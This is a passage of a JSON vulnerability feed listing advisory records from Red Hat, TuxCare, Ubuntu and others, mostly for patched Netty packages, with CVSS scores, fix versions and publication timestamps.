Central.","status":"published","published":"2026-10-13T18:33:15Z","modified":"2026-10-29T14:30:03.565528798Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"RHLW-2026-69ca3f0d713e6636","title":"Lightwell Security Advisory: netty-codec-dns 4.1.100.Final-rhlw-00001","description":"Red Hat Lightwell has released io.netty:netty-codec-dns 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2026-42579 and CVE-2026-73508.\n\nCVE-2026-42579: Netty: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\nCVE-2026-73508: Netty: Memory Leak in DNS Record Decoder via Malformed Domain Names\n\nThis patched artifact is a drop-in replacement for io.netty:netty-codec-dns 4.1.100.Final from Maven Central.","status":"published","published":"2026-10-12T16:54:56Z","modified":"2026-10-27T04:00:02.526522019Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"RHSA-2026:49700","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 8.1.7 security update","status":"published","published":"2026-08-04T10:26:57Z","modified":"2026-10-20T10:10:13Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:53644","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.4.25 security pdate","status":"published","published":"2026-08-12T10:16:36Z","modified":"2026-10-20T10:10:54Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:53645","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.4.25 Security update","status":"published","published":"2026-09-18T10:11:53Z","modified":"2026-10-20T10:10:55Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:53646","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.4.25 Security update","status":"published","published":"2026-09-18T10:11:53Z","modified":"2026-10-20T10:10:56Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:76128","title":"Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 security update on RHEL 7","status":"published","published":"2026-10-07T10:19:58Z","modified":"2026-10-20T10:15:52Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:76129","title":"Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 security update on RHEL 8","status":"published","published":"2026-10-07T10:19:59Z","modified":"2026-10-20T10:15:53Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:76130","title":"Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 security update on RHEL 9","status":"published","published":"2026-10-07T10:19:59Z","modified":"2026-10-20T10:15:54Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"ROOT-APP-MAVEN-CVE-2026-42579","title":"CVE-2026-42579 in io.netty:netty-codec-dns - Patched by Root","description":"Root has patched CVE-2026-42579 in the io.netty:netty-codec-dns package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-10-01T05:58:02Z","modified":"2026-10-01T06:15:05.702064239Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","title":"GHSA-xpw8-rcwv-8f8p in io.root.io.netty:netty-codec-http2 - Patched by Root","description":"Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-06-18T12:52:23Z","modified":"2026-06-18T18:15:26.175069727Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"UBUNTU-CVE-2026-42579","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T19:17:00Z","modified":"2026-10-17T12:58:16.230073268Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"CLSA-2026-1779929355","title":"TuxCare security update for io.netty (3 CVEs)","description":"TuxCare rebuilt 3 io.netty packages to address 3 CVEs. Fixed in 4.1.115.Final-tuxcare.6.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-11-02T19:45:30.869964161Z","updated_at":"2026-11-02T20:30:18.404297Z"},{"id":"CLSA-2026-1780361386","title":"TuxCare security update for io.netty:netty-codec-dns (1 CVE)","description":"TuxCare rebuilt io.netty:netty-codec-dns to address 1 CVE. Fixed in 4.1.112.Final-tuxcare.4.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-11-02T19:45:31.913349593Z","updated_at":"2026-11-02T20:30:18.404297Z"},{"id":"CLSA-2026-1783386140","title":"TuxCare security update for io.netty (5 CVEs)","description":"TuxCare rebuilt 4 io.netty packages to address 5 CVEs. Fixed in 4.1.93.Final-tuxcare.2.","status":"published","published":"2026-08-04T14:52:42Z","modified":"2026-11-02T19:45:42.544430605Z","updated_at":"2026-11-02T20:30:13.950198Z"},{"id":"CLSA-2026-1783991057","title":"TuxCare security update for io.netty (5 CVEs)","description":"TuxCare rebuilt 5 io.netty packages to address 5 CVEs. Fixed in 4.1.92.Final-tuxcare.4.","status":"published","published":"2026-08-04T14:52:43Z","modified":"2026-11-02T19:45:40.837395115Z","updated_at":"2026-11-02T20:30:13.950198Z"},{"id":"CLSA-2026-1784077490","title":"TuxCare security update for io.netty (5 CVEs)","description":"TuxCare rebuilt 4 io.netty packages to address 5 CVEs. Fixed in 4.1.117.Final-tuxcare.1.","status":"published","published":"2026-08-04T14:52:44Z","modified":"2026-11-02T19:45:38.770849462Z","updated_at":"2026-11-02T20:30:13.950198Z"},{"id":"CLSA-2026-1784250522","title":"TuxCare security update for io.netty (11 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 11 CVEs. Fixed in 4.1.130.Final-tuxcare.1.","status":"published","published":"2026-08-04T14:52:44Z","modified":"2026-11-02T19:45:46.163658055Z","updated_at":"2026-11-02T20:30:00.884471Z"},{"id":"CLSA-2026-1787271464","title":"TuxCare security update for io.netty (59 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.","status":"published","published":"2026-08-21T00:17:44Z","modified":"2026-10-15T09:46:34.75643555Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787301097","title":"TuxCare security update for io.netty (60 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.","status":"published","published":"2026-08-21T08:31:37Z","modified":"2026-10-15T09:46:34.967537233Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787309634","title":"TuxCare security update for io.netty (62 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.","status":"published","published":"2026-08-21T10:53:54Z","modified":"2026-10-15T09:46:34.370885626Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787333890","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.","status":"published","published":"2026-08-21T17:38:10Z","modified":"2026-10-15T09:47:25.399673043Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787383378","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.","status":"published","published":"2026-08-22T07:22:58Z","modified":"2026-10-15T09:47:25.582500226Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787397404","title":"TuxCare security update for io.netty (62 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.","status":"published","published":"2026-08-22T11:16:44Z","modified":"2026-10-15T09:47:25.516691622Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787559127","title":"TuxCare security update for io.netty (3 CVEs)","description":"TuxCare rebuilt 3 io.netty packages to address 3 CVEs. Fixed in 4.1.73.Final-tuxcare.4.","status":"published","published":"2026-08-24T08:12:07Z","modified":"2026-11-02T19:45:59.615954506Z","updated_at":"2026-11-02T20:29:49.757752Z"},{"id":"CLSA-2026-1787668954","title":"TuxCare security update for io.netty (8 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 8 CVEs. Fixed in 4.1.79.Final-tuxcare.1.","status":"published","published":"2026-08-25T14:42:34Z","modified":"2026-11-02T19:45:58.871137599Z","updated_at":"2026-11-02T20:29:49.757752Z"},{"id":"CLSA-2026-1787673947","title":"TuxCare security update for io.netty (3 CVEs)","description":"TuxCare rebuilt 3 io.netty packages to address 3 CVEs. Fixed in 4.1.82.Final-tuxcare.7.","status":"published","published":"2026-08-25T16:05:47Z","modified":"2026-11-02T19:45:57.919467258Z","updated_at":"2026-11-02T20:29:49.757752Z"},{"id":"CLSA-2026-1787674293","title":"TuxCare security update for io.netty (2 CVEs)","description":"TuxCare rebuilt 2 io.netty packages to address 2 CVEs. Fixed in 4.1.63.Final-tuxcare.5.","status":"published","published":"2026-08-25T16:11:33Z","modified":"2026-11-02T19:46:01.10325663Z","updated_at":"2026-11-02T20:29:46.576514Z"},{"id":"CLSA-2026-1789379599","title":"TuxCare security update for io.netty (19 CVEs)","description":"TuxCare rebuilt 12 io.netty packages to address 19 CVEs. Fixed in 4.1.75.Final-tuxcare.5.","status":"published","published":"2026-09-14T09:53:19Z","modified":"2026-11-02T19:46:12.493139648Z","updated_at":"2026-11-02T20:29:35.589477Z"},{"id":"CLSA-2026-1791901028","title":"TuxCare security update for io.netty (19 CVEs)","description":"TuxCare rebuilt 46 io.netty packages to address 19 CVEs. Fixed in 4.1.80.Final-tuxcare.1.","status":"published","published":"2026-10-13T14:17:08Z","modified":"2026-10-15T09:47:45.980609833Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1792665490","title":"TuxCare security update for io.netty (13 CVEs)","description":"TuxCare rebuilt 9 io.netty packages to address 13 CVEs. Fixed in 4.1.81.Final-tuxcare.1.","status":"published","published":"2026-10-22T10:38:10Z","modified":"2026-11-02T19:46:30.882961422Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792673710","title":"TuxCare security update for io.netty (27 CVEs)","description":"TuxCare rebuilt 15 io.netty packages to address 27 CVEs. Fixed in 4.1.72.Final-tuxcare.1.","status":"published","published":"2026-10-22T12:55:10Z","modified":"2026-11-02T19:46:30.828381863Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792673723","title":"TuxCare security update for io.netty (25 CVEs)","description":"TuxCare rebuilt 43 io.netty packages to address 25 CVEs. Fixed in 4.1.68.Final-tuxcare.1.","status":"published","published":"2026-10-22T12:55:23Z","modified":"2026-10-22T19:45:03.771048357Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792686278","title":"TuxCare security update for io.netty (26 CVEs)","description":"TuxCare rebuilt 14 io.netty packages to address 26 CVEs. Fixed in 4.1.118.Final-tuxcare.1.","status":"published","published":"2026-10-22T16:24:38Z","modified":"2026-11-02T19:46:30.467301233Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792692962","title":"TuxCare security update for io.netty (17 CVEs)","description":"TuxCare rebuilt 14 io.netty packages to address 17 CVEs. Fixed in 4.2.12.Final-tuxcare.1.","status":"published","published":"2026-10-22T18:16:02Z","modified":"2026-11-02T19:46:30.46332539Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792746051","title":"TuxCare security update for io.netty (26 CVEs)","description":"TuxCare rebuilt 40 io.netty packages to address 26 CVEs. Fixed in 4.1.53.Final-tuxcare.1.","status":"published","published":"2026-10-23T09:00:51Z","modified":"2026-10-23T13:45:04.012626388Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792747978","title":"TuxCare security update for io.netty (21 CVEs)","description":"TuxCare rebuilt 11 io.netty packages to address 21 CVEs. Fixed in 4.1.51.Final-tuxcare.1.","status":"published","published":"2026-10-23T09:32:58Z","modified":"2026-11-02T19:46:31.672461772Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793029439","title":"TuxCare security update for io.netty (7 CVEs)","description":"TuxCare rebuilt 6 io.netty packages to address 7 CVEs. Fixed in 4.1.31.Final-tuxcare.1.","status":"published","published":"2026-10-26T15:43:59Z","modified":"2026-11-02T19:46:31.554298092Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793030575","title":"TuxCare security update for io.netty (8 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 8 CVEs. Fixed in 4.1.52.Final-tuxcare.4.","status":"published","published":"2026-10-26T16:02:55Z","modified":"2026-11-02T19:46:31.501902141Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793031356","title":"TuxCare security update for io.netty (11 CVEs)","description":"TuxCare rebuilt 8 io.netty packages to address 11 CVEs. Fixed in 4.1.43.Final-tuxcare.3.","status":"published","published":"2026-10-26T16:15:56Z","modified":"2026-11-02T19:46:31.665602091Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793032661","title":"TuxCare security update for io.netty (9 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 9 CVEs. Fixed in 4.1.59.Final-tuxcare.1.","status":"published","published":"2026-10-26T16:37:41Z","modified":"2026-11-02T19:46:31.594917303Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793056279","title":"TuxCare security update for io.netty (6 CVEs)","description":"TuxCare rebuilt 5 io.netty packages to address 6 CVEs. Fixed in 4.1.48.Final-tuxcare.5.","status":"published","published":"2026-10-26T23:11:19Z","modified":"2026-11-02T19:46:31.541195399Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793084723","title":"TuxCare security update for io.netty (8 CVEs)","description":"TuxCare rebuilt 6 io.netty packages to address 8 CVEs. Fixed in 4.1.38.Final-tuxcare.1.","status":"published","published":"2026-10-27T07:05:23Z","modified":"2026-11-02T19:46:31.963714147Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793085576","title":"TuxCare security update for io.netty (7 CVEs)","description":"TuxCare rebuilt 6 io.netty packages to address 7 CVEs. Fixed in 4.1.23.Final-tuxcare.1.","status":"published","published":"2026-10-27T07:19:36Z","modified":"2026-11-02T19:46:31.810530431Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793089342","title":"TuxCare security update for io.netty (16 CVEs)","description":"TuxCare rebuilt 14 io.netty packages to address 16 CVEs. Fixed in 4.2.2.Final-tuxcare.1.","status":"published","published":"2026-10-27T08:22:22Z","modified":"2026-11-02T19:46:32.030353454Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793124868","title":"TuxCare security update for io.netty (2 CVEs)","description":"TuxCare rebuilt 2 io.netty packages to address 2 CVEs. Fixed in 4.1.42.Final-tuxcare.3.","status":"published","published":"2026-10-27T18:14:28Z","modified":"2026-11-02T19:46:32.305747813Z","updated_at":"2026-11-02T20:28:59.01272Z"}]},"sources_more":{"osv":18}}
